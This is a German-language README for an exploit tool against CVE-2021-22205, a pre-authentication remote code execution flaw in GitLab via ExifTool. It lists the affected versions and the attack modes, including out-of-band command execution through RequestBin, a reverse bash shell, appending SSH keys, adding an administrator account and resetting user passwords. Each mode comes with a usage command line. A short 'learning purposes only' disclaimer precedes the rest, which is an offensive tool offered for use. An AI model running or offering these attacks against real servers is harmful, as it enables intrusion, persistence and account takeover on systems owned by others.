CVE-2021-22205

GitLab CE/EE Preauth RCE mit ExifTool

Dieses Projekt dient nur zu Lernzwecken. Sollten jemandes Rechte verletzt worden sein, kontaktieren Sie mich bitte, um das Projekt zu entfernen. Und zuletzt: VERWENDEN SIE ES NICHT ILLEGAL. Wenn Sie bei der Nutzung dieses Tools illegales Verhalten zeigen, tragen Sie alle Konsequenzen selbst. Alle Entwickler und alle Mitwirkenden dieses Tools übernehmen keine rechtlichen oder gemeinschaftlichen Haftungen.

Beschreibung

Ein Problem wurde in GitLab CE/EE entdeckt, das alle Versionen ab 11.9 betrifft. GitLab validierte Bilddateien, die an einen Dateiparser übergeben wurden, nicht ordnungsgemäß, was zu einer entfernten Befehlsausführung führte.

Betroffene Versionen:

>=11.9, <13.8.8
>=13.9, <13.9.6
>=13.10, <13.10.3

Funktionen

Gitlab-Versionserkennung durch den Hash in der Webpack manifest.json
Automatische Out-of-Band-Interaktionen mit DNSLog & ~~PostBin~~ RequestBin
Unterstützung für Reverse-Bash-Shell / SSH-Schlüssel an authorized_keys anhängen
Unterstützung von ENTER zum Ändern und Wiederherstellen des Gitlab-Benutzerpassworts

Verwendung

🐚 ››› python CVE-2021-22205.py

      ░░░░▐▐░░░  CVE-2021-22205
 ▐  ░░░░░▄██▄▄  GitLab CE/EE Unauthenticated RCE using ExifTool
  ▀▀██████▀░░  Affecting all versions starting from 11.9
  ░░▐▐░░▐▐░░  security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
 ▒▒▒▐▐▒▒▐▐▒  github.com/inspiringz/CVE-2021-22205

Usage:
    python3 CVE-2021-22205.py -u site_url -m detect        # gitlab version & vuln detect
    python3 CVE-2021-22205.py -u site_url -m rce1 'id'     # rce (echo via requestbin oob) 
    python3 CVE-2021-22205.py -u site_url -m rce2 'id'     # rce (echo via write file) *
    python3 CVE-2021-22205.py -u site_url -m rev ip port   # reverse bash shell
    python3 CVE-2021-22205.py -u site_url -m ssh git/root  # append ssh authorized_keys
    python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
    python3 CVE-2021-22205.py -u site_url -m mod user      # modify specified user's password => P4ss@GitLab
    python3 CVE-2021-22205.py -u site_url -m rec user      # restore specified user's original password

Das site_url-Parameterformat: http[s]://<domain|ip>[:port]/, z.B.: https://example.com:9000/
Methoden (rce2, add), die mit * markiert sind, sind instabil, funktionieren möglicherweise nicht :(
Sie können den Skriptinhalt entsprechend der tatsächlichen Umgebung ändern